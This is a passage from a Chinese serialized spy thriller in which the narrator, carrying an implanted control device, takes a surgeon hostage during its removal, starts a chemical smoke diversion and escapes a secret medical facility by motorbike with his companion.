我们坐在餐桌旁,默默地吃着这顿寡淡的午餐。食物能补充体力,但无法驱散心头的阴霾。
“韩冰,”周玲突然放下手中的汉堡,看着我,眼神里带着一种下定决心的光芒,“如果……如果我们要离开这里,需要我做什么吗?”
我看着她。一天前,她还是个会因为酒店客人的刁难而委屈,会因为奶奶的身体而担忧的普通女孩。而现在,她却在主动询问如何从一群职业特工的眼皮底下逃脱。
环境,果然能最快地改变一个人。
“现在不需要
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。”我摇摇头,“保护好自己,保持体力。需要的时候,我会告诉你。”
她点了点头,没有再多问,重新拿起食物,认真地吃了起来,仿佛在完成一项重要的任务。
下午,安全屋内依旧是一片死寂。我假装翻看着书架上的那些装饰书,实际上是在进一步熟悉这个有限空间的结构,寻找任何可能的薄弱点。窗户是加固过的,门是厚重的防盗门,通风管道狭窄得无法通行……标准的“安全屋”配置,几乎无懈可击。
看来,突破口只能在外面,在阿杰下一步的行动中。
傍晚时分,门外再次传来动静。这一次,是阿杰亲自来了。
他依旧穿着那身灰色的便装,神色平静,手里拿着一个文件夹。
“看来你们休息得不错。”他走进来,目光在我和周玲脸上扫过,最后落在我身上,“感觉怎么样?体内的‘单元’有没有异常感觉?”
“没有。”我回答得很干脆。
“很好。”阿杰点点头,将文件夹放在桌上,“医疗安排已经初步确定。明天下午,会有人来接你们去一个私人医疗中心。那里的设备和医生都是顶尖的,可以安全地取出你体内的东西。”
明天下午。机会来了。
“需要多久?”
“手术本身很快,但需要观察和恢复期,大概需要停留24到48小时。”阿杰说道,同时观察着我的反应。
停留24到48小时?在一个更受他们控制的医疗中心?这期间变数太大了。
“她呢?”我指了指周玲。
“周小姐会和你一起转移,并在医疗中心得到妥善安置。”阿杰的语气不容置疑,“确保你们的安全是我们的首要任务。”
说得冠冕堂皇。无非是将我们从一个看守所转移到另一个看守更严密的地方。
我没有表现出异议,只是点了点头:“知道了。”
阿杰似乎对我的“配合”感到满意,他拿起文件夹:“那么,明天下午两点,我会准时过来。在这之前,请你们不要离开这个房间。”
他再次强调了一遍“规定”,然后转身离开。
门重新锁上。
安全屋内,再次只剩下我和周玲。
我走到窗边,看着楼下那辆灰色轿车。阿杰的身影出现,坐进了车里,轿车很快驶离。
他亲自来通知,是为了施加压力,也是为了防止使用通讯设备可能被监听的顾虑。他很谨慎。
“明天……”周玲走到我身边,声音里带着紧张。
“嗯。”我应了一声,目光依旧看着窗外逐渐亮起的万家灯火。
明天,将是另一个战场。
在前往医疗中心的路上,在医疗中心内部……总会有机会。
我必须抓住它。
夜色,再次降临。城市的光晕掩盖了无数的暗流与杀机。
而我和周玲,这两个被困在囚笼里的囚徒,必须在这暗流中,为自己搏出一条生路。
第二十六章 转移
时间在等待中变得粘稠而缓慢。
安全屋内的空气仿佛凝固,每一口呼吸都带着无形的压力。我和周玲几乎没有交流,只是各自沉默地做着准备。
我反复检查着那把仅剩三发**的**,擦拭着它冰冷的金属表面,将每一个可能的逃脱路线和应急方案在脑中推演。周玲则安静地坐在一旁,目光时而落在我身上,时而飘向紧闭的房门和窗户,她的手指无意识地绞在一起,流露着内心的不安。
阿杰留下的**像一只无形的眼睛,让我们连最基本的商议都无法进行。所有的计划,所有的决断,都只能由我一个人在沉默中完成,而周玲,必须在我发出信号的瞬间,无条件地跟上。
这种单方面的、沉重的责任,压得我几乎喘不过气。
墙上的挂钟指针,终于不紧不慢地指向了下午两点。
几乎在分针与数字12重合的瞬间,门外传来了钥匙插入锁孔的、清晰的“咔哒”声。
我和周玲同时站起身,对视一眼。她的眼中闪过一丝慌乱,但很快被强行压下的坚定所取代。我向她微微点头,示意她跟紧我。
门被推开,阿杰站在门口。他今天换了一身深色的休闲装,看起来不那么像特工,反而更像一个低调的私人助理。他身后跟着两名手下,依旧是那副面无表情、眼神锐利的样子。
“准备好了吗?”阿杰的目光在我们脸上扫过,语气平淡。
“嗯。”我应了一声。
“跟我们走吧,车在楼下。”阿杰侧身让开通道。
我和周玲一前一后走出安全屋。楼道里空无一人,但那种被监视的感觉并未消失。下到一楼,那辆昨天见过的灰色轿车已经停在单元门口。
一名手下拉开后座车门。阿杰示意我们上车。
我护着周玲先坐了进去,自己随后跟上。车内空间不算宽敞,带着一股新车特有的皮质和清洁剂的味道。阿杰坐在副驾驶,另一名手下坐在驾驶位开车。
车门关上,落锁声清脆而冰冷。
轿车平稳地驶离了居民区,汇入午后的车流。窗外,阳光明媚,街道上车水马龙,行人步履匆匆,一切都显得那么正常,那么……遥远。
周玲紧挨着我坐着,身体有些僵硬,目光一直看着窗外,仿佛想将这片平凡的景象刻进脑海里。我则保持着高度的警觉,注意着车辆的行驶路线,以及阿杰和他手下的任何细微动作。
阿杰似乎很放松,他甚至拿出手机,似乎在浏览着什么信息,偶尔还会通过内置的通讯器低声与外界联系几句,内容听不真切,但似乎与交通路线和到达时间有关。
车辆没有驶向市区那些知名的私立医院,而是拐向了一条相对僻静的道路,两旁开始出现一些外观低调但占地颇广的建筑,看起来像是研究所或者高端企业的办公楼。
最终,轿车驶入了一个没有任何标识的、绿树掩映的院落,在一栋通体白色、线条简洁的现代化建筑前停下。这里异常安静,听不到城市的喧嚣,只有风吹过树叶的沙沙声。
“到了。”阿杰解开安全带,率先下车。
我和周玲也跟着下了车。眼前的建筑看起来更像一个设计公司或者高级会所,而非医疗中心。门口没有招牌,只有两个穿着类似保安制服男人看向阿杰微微点头示意。
“这里很安全,设备和医生都是最好的。”阿杰一边引着我们往里走,一边说道,语气像是在介绍一个高端产品。
内部装修是极简风格,色调以白色和浅灰为主,光线柔和,环境洁净得几乎一尘不染。空气中弥漫着淡淡的消毒水气味,但并不刺鼻。偶尔有穿着白色制服的工作人员安静地走过,看到我们也只是礼貌性地点头,并不多看。
这里的一切都透着一种高效的、非人化的冰冷。
我们被带到一个类似接待室的房间,里面有舒适的沙发和茶几。
“请稍等,医生马上就来为韩先生做术前检查。”阿杰对我们说完,便和一名手下离开了房间,留下另一名手下守在门口。
房间里有饮水机,甚至还有几本时尚杂志,看起来和普通的等候室没什么两样。但我知道,这平静的表象下,是严密的监控和掌控。
周玲有些不安地坐在沙发上,双手捧着一次性水杯,却没有喝。
我走到窗边,看了看外面。窗户是封死的,外面是一个精心打理过的内部庭院,看不到围墙外的景象。这里就像一个精致的堡垒。
几分钟后,房间门被推开,一个穿着白大褂、戴着金丝眼镜、看起来四十岁左右的女医生走了进来,她身后跟着一名推着医疗器械车的护士。
“韩冰先生?”女医生声音温和,脸上带着职业化的微笑,“我是李医生,负责您今天的术前评估和后续手术。”
我点了点头。
“请坐。”李医生示意我坐到沙发上,然后开始进行一些基础的检查——量血压、测心率、询问有无药物过敏史等。护士则在一旁记录。
周玲紧张地看着这一切。
检查过程很常规,李医生的动作专业而迅速。但在她用听诊器听我心肺时,我注意到她的目光似乎在我左肩胛骨下方那个植入“单元”的位置,多停留了几秒。
她知道那里有东西。
检查很快结束。
“基本情况良好。”李医生收起听诊器,对我和周玲露出安抚的笑容,“手术风险很低,请不用担心。稍后护士会带您去更衣和进行术前准备。”她是对着我说的,然后又看向周玲,“周小姐,您可以在这里等候,或者我们也可以为您安排一个休息室。”
“我在这里等他。”周玲语气坚定的说道
李医生笑了笑,没再说什么,带着护士离开了。
房间里又只剩下我们和门口那个沉默的守卫。
我看了周玲一眼,用眼神示意她稍安勿躁。计划必须等到进入手术区域,人员相对复杂,监控可能出现盲
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区的时候再寻找机会。
又过了大约二十分钟,一名护士推着轮椅走了进来。
“韩先生,请跟我去准备室吧。”
该来的,终于来了。
我站起身,看了一眼周玲。她也站了起来,眼中充满了担忧。
“放心。”我对她说了两个字,然后坐上了轮椅。
护士推着我向外走去,周玲想跟上来,却被门口的守卫礼貌而地拦住了。
“周小姐,请在这里等候,手术结束后我们会第一时间通知您。”守卫的声音干脆地边说边伸出手拦住周玲。
我被推着穿过几条安静的走廊,周围的房间门都紧闭着,看不到里面的情况。最终,护士将我推进了一个无菌准备间。里面已经有另一个护士在准备手术服和消毒用品。
“请换上这个。”护士将一套蓝色的手术服递给我,然后拉上了隔间的帘子。
我迅速脱掉自己的衣服,换上手术服。随身的**被我小心地藏在换下的衣物中间,折叠好,放在一旁的椅子上。希望不会被发现。
换好衣服,我刚拉开帘子,就看到阿杰不知何时站在了准备室里。
他看了一眼我换下的衣物,目光似乎在上面停留了一瞬,但什么也没说。
“感觉如何?”他问道。
“还好。”
“放轻松,李医生技术很好。”阿杰语气平和,“取出那个小东西,对你对她,都是好事。”
他意有所指地看了一眼门口的方向,指的是周玲。
我没有接话。
这时,李医生也走了进来,她已经换上了手术服,戴着帽子和口罩。
“准备好了吗?韩先生。”她问道。
我点了点头。
“那我们进手术室吧。”李医生示意护士推我。
阿杰让开道路,看着我被推向手术室的大门,他的眼神平静无波,仿佛一切尽在掌握中。
手术室的自动门在我面前缓缓打开,里面是无影灯惨白的光线和更加浓郁的消毒水气味。
我被推了进去,护士在我手臂上进行了静脉穿刺,冰凉的液体流入血管。
“放松,我们会为您进行全身麻醉,睡一觉就好了。”李医生戴着口罩的声音有些模糊。
麻醉……如果失去意识,就将彻底任人宰割!
我的心猛地一紧!不行!必须在麻醉生效前……
我看着头顶刺眼的无影灯,感受着意识开始有些模糊,身体逐渐放松……
就是现在!
就在我即将放弃抵抗,任由麻醉剂吞噬意识的最后一刻,我用尽全身残存的力气,猛地咬破了早已藏在舌下的、一个小小的、硬物——
那不是血包,而是之前从安全屋急救箱里偷偷藏起来的一颗、纯度极高的压缩**药片!
苦涩辛辣的味道瞬间在口腔中炸开,伴随着一股强大的、蛮横的刺激力,如同电流般瞬间窜遍全身上下!几乎被麻醉剂压制的神经猛地惊醒!
我眼睛骤然睁开!
第二十七章 苏醒的猎豹
意识如同被强行从深海中拽出,带着剧烈的耳鸣和视神经被强光灼烧的刺痛感。
我猛地睁开眼!
头顶是无影灯惨白冰冷的光,刺得我瞬间流出生理性的泪水。视野里一片模糊的光晕,但我能清晰地感觉到自己正平躺在手术台上,手腕和脚踝被柔软的束缚带固定着。身上盖着无菌布,左肩胛骨下方传来皮肤被划开的、冰凉而清晰的触感——手术已经开始了!
“心率突然升高!血压飙升!”旁边监护仪刺耳的警报声猛地响起,打破了手术室内原本有条不紊的寂静。
“怎么回事?麻醉应该生效了!”这是李医生带着惊愕的声音,她手中的动作似乎停顿了一下。
“不清楚!生命体征数据异常!像是……像是用了强效**!”护士的声音带着慌乱。
机会!混乱就是我的机会!
我强行压下身体的剧烈反应和**带来的失控感,利用这短暂的、因我“异常”状况而产生的惊愕间隙,猛地抬起头!
视线依旧有些模糊,但我能看到站在手术台旁、穿着绿色手术服、只露出惊愕双眼的李医生和护士。不远处,还有另一个负责麻醉的医护人员正手忙脚乱地检查着设备和输液管。
就是现在!
我的手腕猛地发力!那不是蛮力,而是一种巧妙的、针对这种标准医用束缚带结构的挣脱技巧,手腕以一个奇异的角度旋转、下沉、再猛地向上一提!
“嘣!”一声轻微的、束带内部卡扣被绷断的声响!
右手率先脱困!
“他醒了!按住他!”李医生失声叫道,下意识地想要后退。
但太迟了!
我的右手迅捷探出,不是攻击任何人,而是精准地一把抓住了李医生还握在手中的、闪着寒光的手术刀!
“啊!”李医生惊呼一声。
与此同时,我的左手同样挣脱了束缚!双脚猛地蹬踹,固定带应声崩开!
这一切发生在电光火石之间,从警报响起到我完全挣脱束缚,不过两三秒钟!
我像一头从麻醉中惊醒的猎豹,猛地从手术台上翻身坐起,手中的手术刀划出一道冰冷的弧线,直指离我最近的李医生的咽喉!另一只手则顺手扯掉了手臂上的静脉输液针。
“别动!”我的声音因为**的作用而带着一丝嘶哑的颤抖,但其中的杀意冰冷刺骨,“都别动!谁动,我割开她的脖子!”
整个手术室瞬间凝固了。
李医生僵在原地,不敢有丝毫动作,眼神里充满了难以置信的恐惧。那个护士和麻醉师也吓得呆立当场,惊恐地看着我抵在李医生颈动脉上的手术刀。
监护仪的警报还在疯狂鸣叫,衬托着这死寂般的对峙。
“你……你怎么可能……”李医生声音发颤,无法理解我是如何对抗麻醉并挣脱束缚的。
我没有理会她的疑问,目光锐利地扫过手术室。除了我们四个,没有其他人。
“手术进行到哪一步了?”我压低声音,刀锋紧贴着李医生冰冷的皮肤。
“刚……刚刚切开表皮……还没触及植入物……”李医生身体因为恐惧而微微发抖,回应道。
还好,没到不可挽回的地步。
“那个‘单元’,除了定位和引爆,还有什么功能?”我逼问。
李医生的眼神闪烁了一下,似乎有些犹豫。
我手腕微微用力,刀锋立刻在她细腻的皮肤上压出一道浅浅的血痕。
“我说!我说!”死亡的威胁让她瞬间崩溃,“它……它还是一个高级的神经信号监测和……和潜在指令接收器!‘创世纪’可以通过它向你发送潜意识的行动指令,甚至……在特定条件下,可以尝试进行深层的意识干扰和情感抑制……”
神经信号监测!潜意识指令!情感抑制!
果然!它不仅仅是一个**!它是一个更加恶毒的控制装置!王博士所谓的“情感-杀戮融合协议”,阿杰所谓的“研究价值”,都指向这个!他们想要的,是一个能被远程操控、没有情感只有效能的完美**!
一股寒意从心底升起,比手术刀的锋芒更冷。
必须彻底毁掉它!但现在不行,条件不允许。
我的目标是逃离!
“听着,”我凑近李医生耳边,声音如同寒风,“想活命,就配合我。”
我迅速扫视了一眼手术台旁边的器械车,上面除了手术刀,还有剪刀、镊子等。我空着的左手快速抓起一把较大的手术剪,揣进手术服宽大的口袋里。
然后,我挟持着李医生,一步步向手术室门口挪去。护士和麻醉师惊恐地向后退缩,不敢阻拦。
“打开门。”我命令道。
李医生颤抖着伸出手,按下了墙上的开门按钮。
自动门无声地向两侧滑开。
门外是一条安静的走廊。不远处,站着两名穿着同样白色制服、但体型明显是安保人员的男人,他们听到动静,正疑惑地看过来。当看到我挟持着李医生,手中还拿着滴血的手术刀时,他们的脸色瞬间变了,手立刻摸向了腰间!
“退后!否则我杀了她!”我厉声喝道,将李医生挡在身前作为人质。
两名保安不敢轻易开枪,但也没有退开,只是紧张地用对讲机呼叫支援。
“周玲在哪里?”我低声问李医生。
“在……在之前的接待室……
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”她哆哆嗦嗦地回答。
接待室!距离这里有一段距离!
不能再拖延了!支援马上就到!
我挟持着李医生,沿着走廊向接待室的方向快速移动。两名保安保持着距离,紧紧跟在后面,不停地呼叫。
走廊里响起了刺耳的警报声!红色的警示灯开始旋转闪烁!
整个医疗中心被惊动了!
“站住!放下武器!”前方走廊拐角,又出现了两名**的保安,堵住了去路。
前后夹击!
我陷入了绝境!
看着前后逼近的保安,听着越来越近的、更多脚步声从四面八方传来,我知道,硬闯已经不可能了。
我的目光扫过旁边走廊墙壁上的一個标识——“污物处理间”。
一个冒险的计划瞬间成型。
我猛地将李医生向前一推,推向前面堵路的保安!同时自己借助反作用力,向后撞开了那扇标着“污物处理间”的门,闪身钻了进去!
“砰!”门被我反手关上,并用顺手从旁边架子上抓到的一根金属撑杆死死卡住门把手!
外面传来保安接住李医生后的惊呼声、呵斥声,以及猛烈撞门的声音!
“砰!砰!砰!”
门板剧烈震动,但一时半会儿还撞不开。
我迅速打量这个狭小的空间。里面堆放着一些待处理的医疗垃圾袋,气味难闻。角落里有一个巨大的、类似工业洗衣房用的那种升降货梯,但更小一些,上面标着“污物专用通道”。
就是它了!
我冲到货梯前,按下按钮。货梯门缓缓打开,里面空间不大,足以容纳一人。
外面的撞门声越来越响,门板已经出现了裂缝!
没有时间犹豫!
我一步踏进货梯,按下了向下的按钮。
货梯门缓缓关闭,隔绝了外面嘈杂的撞门声和呼喊声。
货梯开始下降,发出沉闷的嘎吱声。
我靠在冰冷的金属厢壁上,大口喘着气,**的副作用和刚才的剧烈运动让我浑身被汗水浸透,心脏依旧狂跳不止。
暂时安全了……但只是暂时的。
货梯会通往哪里?地下车库?还是更深处?
周玲还在上面的接待室,我必须找到她!
货梯缓缓停下。门开了。
外面是一条昏暗的、弥漫着消毒水和霉味的通道,两侧是粗糙的水泥墙壁,头顶是裸露的管道和电线。这里看起来像是医疗中心的地下后勤区域。
我握紧手术刀和口袋里的手术剪,如同幽灵般潜出货梯,融入通道的阴影中。
猎杀,还未结束。
现在,轮到我这个“实验体”,来掌控自己的命运了。
第二十八章 地下迷踪
污物通道的沉闷空气裹挟着**和化学制剂的气味,钻进鼻腔。昏暗的灯光在头顶管道缝隙间摇曳,投下扭曲晃动的阴影。
我紧贴着冰冷粗糙的水泥墙壁,手术刀反握在手中,耳朵捕捉着通道两端任何细微的声响。
**的效力仍在血液里奔涌,带来一种过度清醒的锐利感,同时也放大了肌肉的颤抖和心脏的负荷。我必须尽快找到周玲,然后离开这个鬼地方。
通道一端通向更深的黑暗,隐约能听到大型设备运行的嗡鸣,可能是中央空调或者备用发电机房。另一端则隐约有光线和人声传来。
我选择了有光线和人声的方向,像一道滑行的影子,悄无声息地向前移动。
通道并非笔直,有几个岔路口。我凭借着对方向上感的模糊记忆,以及空气中气流和声音的细微指引,选择着路径。墙壁上偶尔能看到模糊的、指向“仓储区”、“配电室”或“出口”的标识,但都极其简陋。
越往前走,人工的痕迹越明显。地面从水泥变成了环氧地坪,头顶出现了规整的照明灯管。
突然,前方拐角处传来了清晰的对话声,伴随着杂乱的脚步声。
“……监控显示他进了污物通道,肯定在下面!”
“各个出口都封锁了吗?”
“封锁了!但下面管道复杂,需要人手搜索!”
“一组去配电室方向,二组跟我去仓储区!保持通讯畅通!”
是医疗中心的安保人员!他们组织起来下来搜捕了!
我立刻闪身躲进旁边一个敞着门的、堆满清洁用品和废弃纸箱的杂物间,屏住呼吸。
杂乱的脚步声从门外经过,伴随着对讲机的电流杂音,逐渐远去。
出口被封锁,他们正在系统地搜索,找到我只是时间问题。而且,周玲还在上面的接待室,那里现在肯定也加强了守卫。
必须改变策略。硬闯不行,需要制造更大的混乱,或者找到他们防守薄弱的关键点。
我的目光落在杂物间里那些瓶瓶罐罐的清洁剂上。其中几个大桶上印着“易燃”、“腐蚀性”的警告标志。
一个危险的念头冒了出来。
我快速检查了这些化学品。找到几大桶高浓度的工业酒精和一种强氧化性的管道疏通剂。如果混合制造一场足够吸引所有人注意力的火灾和混乱,应该够了。
没有时间精细操作。我拧开酒精桶的盖子,将其倾斜,让酒精蔓延到杂物间门口和外面的通道上。然后,我将那桶疏通剂用力扔向流淌的酒精区域!
“哐当!”塑料桶破裂,里面的膏状物与酒精接触!
并没有立刻发生剧烈的**,但一股刺鼻的白色烟雾立刻升腾而起,并伴随着轻微的“嘶嘶”声,接触点的地面开始冒泡、腐蚀!
烟雾报警器尖锐的蜂鸣声瞬间响彻整个地下通道!红色的警示灯疯狂闪烁!
“着火了!地下通道着火了!有化学品泄漏!”我扯开嗓子,用变了调的声音大喊,然后迅速离开杂物间,向相反的方向狂奔!
身后,白色的腐蚀性烟雾迅速弥漫,刺鼻的气味和警报声引发了更大的骚乱!我听到搜捕人员的惊呼声、对讲机里混乱的指令、以及匆忙跑向火源方向的脚步声。
计划奏效了!混乱已经制造!
我顾不上喘息,沿着通道全力冲刺。必须趁他们注意力被火灾吸引,找到出路,或者找到通往楼上接待区的路径!
拐过一个弯,前方出现了一扇厚重的、带有观察窗的防火门,门上标着“配电重地,闲人免进”。门是电子锁,旁边有密码面板。
硬闯不行。我尝试着用力推了推门旁的墙壁,是实心的混凝土。
难道要被困在这里?
就在这时,我注意到门上方靠近天花板的位置,有一段通风管道的人口,格栅看起来有些松动。
也许……
我后退几步,助跑,猛地向上一跃!手指堪堪抓住了通风管道的边缘!腹部伤口传来一阵刺痛,但我咬紧牙关,凭借臂力将身体向上拉,然后用手术刀的刀尖撬开了那块有些锈蚀的通风口格栅!
一股带着尘埃和金属味道的气流从管道内涌出。
没有犹豫,我双手用力,将身体撑了上去,钻进了狭窄的通风管道。
管道内一片漆黑,只能勉强匍匐前进。我凭借着对方向的直觉,朝着应该是接待室上方的区域爬去。管道内壁布满灰尘和蛛网,冰冷的金属硌得膝盖和手肘生疼。
爬行了不知道多久,前方隐约传来了说话声和光线。我小心翼翼地靠近一个通风口格栅,向下望去。
下面正是我之前待过的那个接待室!
周玲还在里面!她坐在沙发上,双手紧紧握在一起,脸色苍白,房间里除了她,还有两名**的保安,神情紧张地盯着门口和窗外,显然也被外面的混乱所影响。
太好了!找到她了!
但怎么下去?直接撬开格栅跳下去?面对两个**保安,我没有必胜的把握,而且会立刻暴露。
外面的警报声、呼喊声、跑动声持续不断,火警似乎造成了相当大的混乱。接待室里的两名保安显然也有些焦躁不安,不时通过对讲机了解外面的情况。
“火势控制住了吗?人抓到没有?”
“还没有!下面烟雾很大,正在排查!各区域守住自己的位置!”
机会来了。
突然,接待室的门被猛地推开,一名穿着白大褂、像是管理人员的中年男人急匆匆地探头进来,对着里面的保安喊道:“你们两个!抽一个人去
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楼梯口支援!担心有人趁乱从消防通道摸上来!”
一名保安愣了一下,看了一眼同伴和周玲,似乎有些犹豫。
“快去!这里留一个人看着就行!她跑不了!”那管理人员催促道。
那名保安只好点头,快步跟着管理人员离开了房间。
现在,房间里只剩下一个保安和周玲。
就在那名剩下的保安因为同伴离开而稍微分神,目光看向门口方向的瞬间
我猛地用肩膀撞向通风口的格栅!
“哐当!”并不牢固的塑料格栅应声向内脱落,掉在地上发出脆响!
下面的保安和周玲同时被这突如其来的动静惊得抬头!
在他们惊愕的目光中,我已经如同猎鹰般从通风口扑了下来!身体尚在半空,手中的手术刀已经化作一道寒光,精准地掷向那名保安**的手腕!
“啊!”保安惨叫一声,**脱手落地!
我重重地落在沙发上,借势翻滚卸力,在保安还没来得及做出下一步反应时,已经如同鬼魅般贴近,一记手刀狠狠砍在他的颈侧!
保安哼都没哼一声,软软地瘫倒在地。
“韩冰!”周玲惊呼一声,从沙发上弹起来,又惊又喜地看着我。
“没时间解释!快走!”我一把拉起她,捡起地上保安掉落的**,检查了一下上满**的弹匣。
“我们去哪?”周玲紧张地问,紧紧跟着我。
“找路出去!”我拉着她,冲出接待室。
走廊里一片混乱,烟雾报警器虽然停了,但刺鼻的烟味还未完全散去,远处依旧传来人员的跑动和呼喊声。没人注意到从接待室冲出来的我们。
我凭着记忆和直觉,拉着周玲向之前进来时相反的方向奔去。
拐过几个弯,前方出现了一个标有“员工通道”和“紧急出口”指示牌的楼梯间!
希望就在眼前!
我们冲进楼梯间,沿着楼梯向下狂奔!下面几层似乎也是功能区域,静悄悄的。一直跑到最底层,一扇厚重的防火门出现在面前,门上挂着“紧急出口,推开报警”的牌子。
顾不了那么多了!
我用力推开防火门!
刺耳的警报声瞬间响起!
门外,是医疗中心建筑的后院,不远处就是高大的围墙和一道紧闭的铁栅栏门!门外就是自由的道路!
但就在铁栅栏门旁边,守着两名听到警报声、正警惕望过来的保安!
“站住!”他们看到我们,立刻举起了枪!
前后夹击!楼梯间上方的追兵听到警报也正在赶来!
陷入绝境!
我一把将周玲护在身后,举起刚刚缴获的**,与门外的两名保安对峙!
汗水,顺着我的鬓角滑落。
时间,仿佛再次凝固。
第二十九章 亡命飞驰
警报声尖锐地撕裂后院短暂的寂静,像无数根针扎进耳膜。前方,铁栅栏门旁的两名保安如临大敌,枪口死死锁定着我们。身后,楼梯间里传来急促而杂乱的脚步声,追兵瞬息即至。
绝境!真正的绝境!
肾上腺素在**的催化下以前所未有的速度奔涌。
就在身后楼梯间门被猛地撞开、人影闪现的刹那,我做出了近乎本能的反应!
我猛地将周玲往旁边一推,推向一堆修剪下来的枯枝败叶后面,同时自己借着反作用力向侧前方扑出,身体在空中蜷缩、翻滚!
“砰!砰!砰!”
**几乎在同一时间炸响!**呼啸着擦过我的身体,打在刚才我们站立的地面上,溅起一串火星和尘土!
我重重地摔在地上,顾不上撞击的疼痛,手中的枪已然抬起,看也不看,凭着声音和感觉,对着楼梯间门口闪现的人影和前方保安的大致方向,连续扣动**!
“砰!砰!”
两声急促的还击!不是为了击中,而是为了压制和制造混乱!
果然,楼梯间门口刚冲出来的追兵被这突如其来的反击吓得缩了回去,前方那两名保安也下意识地寻找掩体,火力出现了瞬间的停滞!
就是这零点几秒的间隙!
我如同猎豹般从地上一跃而起,没有冲向铁门,而是扑向了停在院子角落里的一辆黑色踏板摩托车!
幸好钥匙还插在车上!
“周玲!过来!”我一边大吼,一边猛地踹开发动机支架,拧动钥匙!
摩托车引擎发出一阵沉闷的喘息,随即“嗡”地一声启动!
周玲连滚爬爬地从枯枝堆后冲出来,我一把将她拉上车后座!
“抱紧我!”我嘶吼道,同时将油门拧到底!
小小的踏板摩托车发出一声不堪重负的咆哮,轮胎与地面摩擦发出刺耳的尖叫,如同离弦之箭般猛地窜了出去,目标直指那道紧闭的铁栅栏门!
“拦住他们!”身后传来阿杰气急败坏的吼声,以及更加密集的**!
**“啾啾”地从身边飞过,打在摩托车的塑料外壳上,发出“噗噗”的闷响,打在后院的墙壁和地面上,碎石飞溅!
我伏低身体,将周玲紧紧护在身后,眼睛死死盯着越来越近的铁门!计算着速度和角度!
不能减速!只能冲过去!
“抓紧了!”我再次大吼,在距离铁门还有五六米的时候,猛地将车头向上一提!同时身体重心后移!
摩托车前轮离地,凭借着惯性,如同一个蹩脚的特技演员,狠狠地、义无反顾地撞向了铁栅栏门中部偏上的位置!
“哐——咔嚓——!”
一声惊天动地的巨响!金属扭曲断裂的声音刺耳欲聋!
巨大的冲击力让我和周玲都猛地向前一冲!我死死握住车把,感觉手臂几乎要脱臼!周玲更是发出一声短促的惊叫,双手死死箍住我的腰,指甲几乎要掐进我的肉里!
摩托车带着巨大的动能,硬生生将那并不算特别坚固的铁栅栏门撞得向外扭曲、变形,中间几根栏杆应声断裂!我们连人带车,从那个被强行撕开的缺口中,如同炮弹般冲了出去!
落地时车身剧烈地颠簸摇晃,几乎失控!我拼命稳住方向,轮胎在门外粗糙的路面上划出扭曲的痕迹,终于勉强控制住了这匹脱缰的野马!
“坐稳!”我头也不回地喊了一声,油门丝毫未松,摩托车沿着建筑后方狭窄的辅助道路,疯狂地加速,瞬间将医疗中心那栋白色建筑和院内混乱的呼喊、**甩在身后!
夜风如同冰冷的刀片,刮在脸上,带来火辣辣的疼。身后的周玲将脸紧紧贴在我的背上,身体还在不受控制地颤抖,但箍住我腰的手,却异常用力,仿佛我是她唯一的救命稻草。
我顾不上安抚她,目光如同雷达般扫视着前方的道路和后视镜。医疗中心位于相对僻静的区域,但**和撞击声很可能已经惊动了附近的人或监控。
必须尽快离开这里,融入车流,消失在城市错综复杂的脉络中。
我驾驶着摩托车,没有驶向主干道,而是拐进了更加狭窄、灯光昏暗的支路和小巷。
后视镜里,暂时没有出现追踪的车辆。阿杰他们反应再快,调动车辆也需要时间。
但这平静能持续多久?
我体内的**效力正在逐渐消退,随之而来的是巨大的疲惫感和伤口被牵动的阵阵钝痛。腹部之前缝合的地方,似乎在刚才剧烈的撞击和运动中再次崩裂,有温热的液体渗出,浸湿了里面的手术服。
必须找个地方处理伤口,并且……彻底弄清楚体内的“单元”到底怎么样了。王博士和李医生的话像阴云一样笼罩在心头。那东西如果真的还能接收指令、干扰意识,后果不堪设想。
周玲似乎察觉到了我的异样,低声问:“韩冰……你没事吧?你流了好多汗……”
“没事。撑得住!”
我们现在去哪里?安全屋不能回了,酒店更是自投罗网。身上没有钱,没有证件,只有一把还剩几发**的**和一辆不知道能跑多久、随时可能被定位的摩托车。
就像真正的亡命天涯。
我驾驶着摩托车,漫无目的地在城市的边缘区域穿行,像一只无头苍蝇。最终,我将车停在了一个靠近货运铁路线的、废弃的露天停车场。这里堆满了废弃的集装箱和报废
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车辆,荒草丛生,几乎不会有人来。
熄掉引擎,世界瞬间安静下来,只剩下风吹过荒草和远处铁路隐约传来的汽笛声。
我几乎是踉跄着从摩托车上下来,靠在了一个生锈的集装箱上,大口地喘着气。腹部的疼痛越来越清晰,冷汗不断从额头渗出。
“韩冰!”周玲慌忙下车扶住我,借着远处路灯微弱的光,她看到了我腹部蓝白色手术服上洇开的那片深色血迹,脸色瞬间变得比我还白,“你的伤口……裂开了!”
“嗯。”我应了一声,推开她试图查看的手,“先……先看看周围安不安全。”
周玲强忍着担忧,警惕地看了看四周。停车场一片死寂,只有我们的呼吸声和风声。
“好像……没人。”
我稍微松了口气,身体沿着集装箱滑坐在地上,疲惫感如同潮水般将我淹没。我从口袋里掏出那把沾血的手术剪,递给她。
“帮我把衣服剪开……看看伤口。”
周玲接过剪刀,手有些抖,但她深吸一口气,跪坐在我面前,小心翼翼地用剪刀剪开我腹部的手术服。
狰狞的伤口露在冰冷的空气中。缝合线果然崩开了几处,鲜血正不断地从裂口渗出。
周玲倒吸一口凉气,眼圈瞬间红了。“怎么办……没有药,没有纱布……”
“先……按住。”我咬着牙,将之前顺手从手术室带出来、一直揣在口袋里的那卷无菌纱布塞给她,“用力按住止血。”
周玲用力点头,用颤抖的手将纱布按在我的伤口上。冰凉的纱布触碰到火辣辣的伤口,带来一阵刺痛,但也暂时减缓了血液的涌出。
我们谁也没有再说话。她专注地帮我按压着伤口,而我则靠在冰冷的集装箱上,闭上眼睛,感受着劫后余生的虚脱和无处不在的疼痛。
过了好一会儿,出血似乎稍微减缓了一些。
“韩冰……”周玲的声音带着哽咽,“我们……我们接下来怎么办?”
我睁开眼,看着她苍白的脸。她的问题,也是我此刻无法回答的难题。
我们像两个被世界抛弃的孤魂,身无分文,伤痕累累,后有追兵,前路茫茫。
我抬起手,再次摸向耳垂。这个动作,似乎能让我在无尽的混乱中,抓住一丝虚无的稳定。
“先……活下去。”我最终只是沙哑地说出了这三个字。
活下去。在这个充满恶意和阴谋的世界里,带着身边这个因为自己而被卷入漩涡的女孩,活下去。
这,是目前唯一清晰,也最艰难的目标。
夜色深沉,废弃的停车场如同巨大的坟墓。而我们,是两个在坟墓边缘挣扎的,微不足道的亡魂。
第三十章 死水微澜
废弃停车场如同被时间遗忘的角落,死寂,荒凉。
